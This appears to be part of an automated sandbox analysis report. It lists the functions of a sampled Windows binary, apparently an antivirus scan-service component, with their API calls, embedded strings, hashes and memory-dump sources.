Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$CriticalSection$EnterFreeProcess$Leave
String ID: H
API String ID: 2107338056-2852464175
Opcode ID: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction ID: c1f1c0cc251b461ea163c40135a27997c94af954a8846501eddf5ed74a01cb36
Opcode Fuzzy Hash: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction Fuzzy Hash: D5513B76216B4086EBA2DF63B84439A73E5F74DBD0F098128EB9D87765EF39C4558300

Function 0000000140003200 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100timeCOMMON

Download Yara Rule

APIs

#4.VSELOG ref: 0000000140003242
EnterCriticalSection.KERNEL32 ref: 0000000140003257
LeaveCriticalSection.KERNEL32 ref: 00000001400032D9
#4.VSELOG ref: 0000000140003353

Part of subcall function 0000000140002B40: LoadLibraryW.KERNEL32 ref: 0000000140002B91
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BAD
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BC8
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BE3
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

#4.VSELOG ref: 0000000140003389
SetWaitableTimer.KERNEL32 ref: 00000001400033BE

Strings

fnCallback: hScan=%d, evId=%d, context=%p, xrefs: 000000014000323B
fnCallback: hScan=%d, quarantine, result %d, xrefs: 000000014000333F
fnCallback: hScan=%d, putting event %d into listening threads queues, xrefs: 0000000140003372

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$AddressEnterLeaveProc$LibraryLoadTimerWaitable
String ID: fnCallback: hScan=%d, evId=%d, context=%p$fnCallback: hScan=%d, putting event %d into listening threads queues$fnCallback: hScan=%d, quarantine, result %d
API String ID: 1322048431-2685357988
Opcode ID: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction ID: ba1df9fb3c509f4e652456910b8147ac8aac6905a945631cefe2604201aedb7e
Opcode Fuzzy Hash: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction Fuzzy Hash: 645106B5214B4181EB13CF16F880BD923A4E79DBE4F445622BB594B6B4DF3AC584C740

Function 0000000140003D50 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003D84
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003DA3
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E25
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E66
SetWaitableTimer.KERNEL32 ref: 0000000140003EA6

Strings

doCleanup: pid %d, marking the cAmpEntry pointer for deletion, xrefs: 0000000140003E58
doCleanup: enter, cAmpEntry %p, xrefs: 0000000140003D76
doCleanup: pid %d, removing cAmpEntry, index is %d, xrefs: 0000000140003E08

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: doCleanup: enter, cAmpEntry %p$doCleanup: pid %d, marking the cAmpEntry pointer for deletion$doCleanup: pid %d, removing cAmpEntry, index is %d
API String ID: 2984211723-3002863673
Opcode ID: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction ID: 6ce834a9fa2c46ab9e722fc1bcf1c858386cde021ca473021475461b430fce50
Opcode Fuzzy Hash: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction Fuzzy Hash: 9B4101B5214A8591EB128F07F880B9863A4F78CBE4F495226FB1D0BBB4DB7AC591C710

Function 00000001400021A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 00000001400021D4
OpenProcess.KERNEL32 ref: 00000001400021F7
#4.VSELOG ref: 000000014000223A
WaitForMultipleObjects.KERNEL32 ref: 000000014000224F
CloseHandle.KERNEL32 ref: 000000014000225A
#4.VSELOG ref: 0000000140002294

Strings

doMonitor: monitoring process id=%d, xrefs: 000000014000222C
doMonitor: end process id=%d, result from WaitForMultipleObjects=%d, xrefs: 0000000140002283
fnMonitor: monitor thread for ctx %p, xrefs: 00000001400021C6

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CloseHandleMultipleObjectsOpenProcessWait
String ID: doMonitor: end process id=%d, result from WaitForMultipleObjects=%d$doMonitor: monitoring process id=%d$fnMonitor: monitor thread for ctx %p
API String ID: 678758403-4129911376
Opcode ID: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction ID: f397f01a700ed75a1720fb106c04e764a2ecaef09c032a262f7e58a7780e1373
Opcode Fuzzy Hash: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction Fuzzy Hash: B63107B6610A4582EB12DF57F84079963A4E78CBE4F498122FB1C0B7B4DF3AC585C710

Function 0000000140001750 Relevance: 15.1, APIs: 12, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140001797
GetProcessHeap.KERNEL32 ref: 00000001400017A6
HeapAlloc.KERNEL32 ref: 00000001400017B4
lstrlenW.KERNEL32 ref: 00000001400017EC
GetProcessHeap.KERNEL32 ref: 00000001400017FB
HeapAlloc.KERNEL32 ref: 0000000140001809
lstrlenW.KERNEL32 ref: 000000014000183F
GetProcessHeap.KERNEL32 ref: 000000014000184E
HeapAlloc.KERNEL32 ref: 000000014000185C
lstrlenW.KERNEL32 ref: 000000014000188D
GetProcessHeap.KERNEL32 ref: 000000014000189C
HeapAlloc.KERNEL32 ref: 00000001400018AA

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID:
API String ID: 3424473247-0
Opcode ID: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction ID: a11592c0991bfac199573d0d609f53e0c1426f0a5ad78f28403dae96cf8670eb
Opcode Fuzzy Hash: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction Fuzzy Hash: C8513AB6701640CAE666DFA3B84479A67E0F74DFC8F588428AF4E4B721DA38D155A700

Function 0000000140012C70 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 415COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000140011270: RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

__GetUnwindTryBlock.LIBCMT ref: 0000000140012CDD
__SetUnwindTryBlock.LIBCMT ref: 0000000140012D05
__GetUnwindTryBlock.LIBCMT ref: 0000000140012D15
_SetThrowImageBase.LIBCMT ref: 0000000140012DA6

Strings

csm, xrefs: 0000000140012D2F
bad exception, xrefs: 0000000140012E4A
csm, xrefs: 0000000140012DC1
csm, xrefs: 0000000140012E97

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction ID: ec44bdd804db6766ea80e989845e9f4c5c79a3e5de674617e5e8a62493c248da
Opcode Fuzzy Hash: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction Fuzzy Hash: 2202C17220478086EB66DB27A4447EEB7A5F78DBC4F484425FF894BBAADB39C550C700

Function 0000000140004750 Relevance: 13.6, APIs: 9, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140004A0F
LeaveCriticalSection.KERNEL32 ref: 0000000140004A1D
WaitForMultipleObjects.KERNEL32 ref: 0000000140004A44
Sleep.KERNEL32 ref: 0000000140004A75
EnterCriticalSection.KERNEL32 ref: 0000000140004A7F
SetEvent.KERNEL32 ref: 0000000140004AC5
ResetEvent.KERNEL32 ref: 0000000140004ACF
LeaveCriticalSection.KERNEL32 ref: 0000000140004AD9
WaitForMultipleObjects.KERNEL32 ref: 0000000140004B0D

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterEventLeaveMultipleObjectsWait$ResetSleep
String ID:
API String ID: 2707001247-0
Opcode ID: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction ID: f9d573460b216e7eeefce72b36cf093424a31f8579033a03516ac6dab9ef0102
Opcode Fuzzy Hash: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction Fuzzy Hash: BC3159B6304A4492EB22DF22F44479AB360F749BE4F444121EB9E07AB4DF39D489C708

Function 00007FFDAC084804 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFDAC084861

Part of subcall function 00007FFDAC086BC4: __GetUnwindTryBlock.LIBCMT ref: 00007FFDAC086C07
Part of subcall function 00007FFDAC086BC4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFDAC086C2C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFDAC084939
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFDAC084B87
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFDAC084C94

Strings

csm, xrefs: 00007FFDAC0848E2
csm, xrefs: 00007FFDAC08495C
csm, xrefs: 00007FFDAC08487B

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction ID: 026c88c7e75aa276b624efd9259e2e5c79c3f99b990083c5bd97089afd20fd69
Opcode Fuzzy Hash: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction Fuzzy Hash: 19D19D22A097418AEB309B75D4603AD37A4FB457E8F108135EA8D57B96DF38E0A1D70C

Function 0000000140001690 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014000169E
HeapFree.KERNEL32 ref: 00000001400016B0
GetProcessHeap.KERNEL32 ref: 00000001400016C0
HeapFree.KERNEL32 ref: 00000001400016D2
GetProcessHeap.KERNEL32 ref: 00000001400016E2
HeapFree.KERNEL32 ref: 00000001400016F4
GetProcessHeap.KERNEL32 ref: 0000000140001704
HeapFree.KERNEL32 ref: 0000000140001716
GetProcessHeap.KERNEL32 ref: 0000000140001726
HeapFree.KERNEL32 ref: 0000000140001738

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction ID: 4159c8d252e8bf7a629169213e0784b10943506046d671ff930a732f0a48acbb
Opcode Fuzzy Hash: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction Fuzzy Hash: EC1145B4915A4081F70BDF97B8187D522E2FB8DBD9F484025E70A4B2B0DF7E8499C601

Function 0000000140013710 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014001371E
HeapFree.KERNEL32 ref: 0000000140013730
GetProcessHeap.KERNEL32 ref: 0000000140013740
HeapFree.KERNEL32 ref: 0000000140013752
GetProcessHeap.KERNEL32 ref: 0000000140013762
HeapFree.KERNEL32 ref: 0000000140013774
GetProcessHeap.KERNEL32 ref: 0000000140013784
HeapFree.KERNEL32 ref: 0000000140013796
GetProcessHeap.KERNEL32 ref: 00000001400137A6
HeapFree.KERNEL32 ref: 00000001400137B8

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction ID: 56b7ada565ecb083b5892330f511bf6cd885877ef2bee609f5ffef12e4ab2997
Opcode Fuzzy Hash: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction Fuzzy Hash: E01172B4918A8081F71BDBA7B81C7D522E2FB8DBD9F444015E70A4B2F0DFBE8499C601

Function 00007FFDAC08B86C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFDAC08B9E8
GetProcAddress.KERNEL32 ref: 00007FFDAC08B9F4

Strings

ext-ms-, xrefs: 00007FFDAC08B945
api-ms-, xrefs: 00007FFDAC08B932

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction ID: 710f75fabd0ed5f37695d9b454f0ac1da3e4c3e5e763f4e31e37361b3c13689b
Opcode Fuzzy Hash: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction Fuzzy Hash: 7641C221B1BA0281EA258B16AC306BA3391BF45BF0F198535DD9D47796EF3CE425E34C

Function 0000000140002A00 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 0000000140002A3C
RegQueryValueExW.ADVAPI32 ref: 0000000140002A76
RegCloseKey.ADVAPI32 ref: 0000000140002A96
EnterCriticalSection.KERNEL32 ref: 0000000140002AAB
LeaveCriticalSection.KERNEL32 ref: 0000000140002B31

Strings

action, xrefs: 0000000140002A52
SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002A0D

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterLeaveQueryValue
String ID: SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 1119674940-1966266597
Opcode ID: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction ID: f124d29d71956a548941c3df06686b2c3eef24402cfc23b06ee64cf3511db711
Opcode Fuzzy Hash: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction Fuzzy Hash: 6F31F975214B4186EB22CF26F884B9573A4F78D7A8F401315FBA94B6B4DF3AC148CB00

Function 0000000140001900 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004BE7
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004BF6
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C04
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C3E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C4D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C5B
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C8E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C9D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004CAB

GetComputerNameW.KERNEL32 ref: 0000000140001991
lstrlenW.KERNEL32 ref: 000000014000199C
GetProcessHeap.KERNEL32 ref: 00000001400019AB
HeapAlloc.KERNEL32 ref: 00000001400019B9

Strings

Security=impersonation static true, xrefs: 0000000140001952
ncalrpc, xrefs: 000000014000196D
ampIfEp, xrefs: 000000014000195E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen$ComputerName
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3702919091-996641649
Opcode ID: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction ID: 080136972d91dcf489914e021d1613250a4fb989530f4420e20b1ceb3111c88a
Opcode Fuzzy Hash: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction Fuzzy Hash: 4F212A71215B8082EB12CB12F84438A73A4F789BE8F514216EB9D07BB8DF7DC54ACB00

Function 000000014000F3E0 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F43A
GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F459
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F4FF
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F559
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F592
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F5CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F60E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction ID: 43b9ce706039119b05782f2693b3e997f7dca892eef84fff4304595f3d56aff3
Opcode Fuzzy Hash: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction Fuzzy Hash: 266181B2200B808AE762DF23B8407AA66E5F74C7E8F548325BF6947BF4DB74C555A700

Function 00007FFDAC08712C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFDAC0872EB,?,?,?,00007FFDAC083EC0,?,?,?,?,00007FFDAC083CFD), ref: 00007FFDAC0871B1
GetLastError.KERNEL32(?,?,?,00007FFDAC0872EB,?,?,?,00007FFDAC083EC0,?,?,?,?,00007FFDAC083CFD), ref: 00007FFDAC0871BF
LoadLibraryExW.KERNEL32(?,?,?,00007FFDAC0872EB,?,?,?,00007FFDAC083EC0,?,?,?,?,00007FFDAC083CFD), ref: 00007FFDAC0871E9
FreeLibrary.KERNEL32(?,?,?,00007FFDAC0872EB,?,?,?,00007FFDAC083EC0,?,?,?,?,00007FFDAC083CFD), ref: 00007FFDAC087257
GetProcAddress.KERNEL32(?,?,?,00007FFDAC0872EB,?,?,?,00007FFDAC083EC0,?,?,?,?,00007FFDAC083CFD), ref: 00007FFDAC087263

Strings

api-ms-, xrefs: 00007FFDAC0871D1

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction ID: fedddd8beeefe34580c3dfcc8f34584884c511130896212257d8fadb8fadfdc7
Opcode Fuzzy Hash: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction Fuzzy Hash: 4331F421B1BA41D1EE229B0AA4206793794BF48BF0F598634EE1D07796DF3CE460930C

Function 00007FFDAC089444 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFDAC089453
FlsGetValue.KERNEL32 ref: 00007FFDAC089468
FlsSetValue.KERNEL32 ref: 00007FFDAC089489
FlsSetValue.KERNEL32 ref: 00007FFDAC0894B6
FlsSetValue.KERNEL32 ref: 00007FFDAC0894C7
FlsSetValue.KERNEL32 ref: 00007FFDAC0894D8
SetLastError.KERNEL32 ref: 00007FFDAC0894F3

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

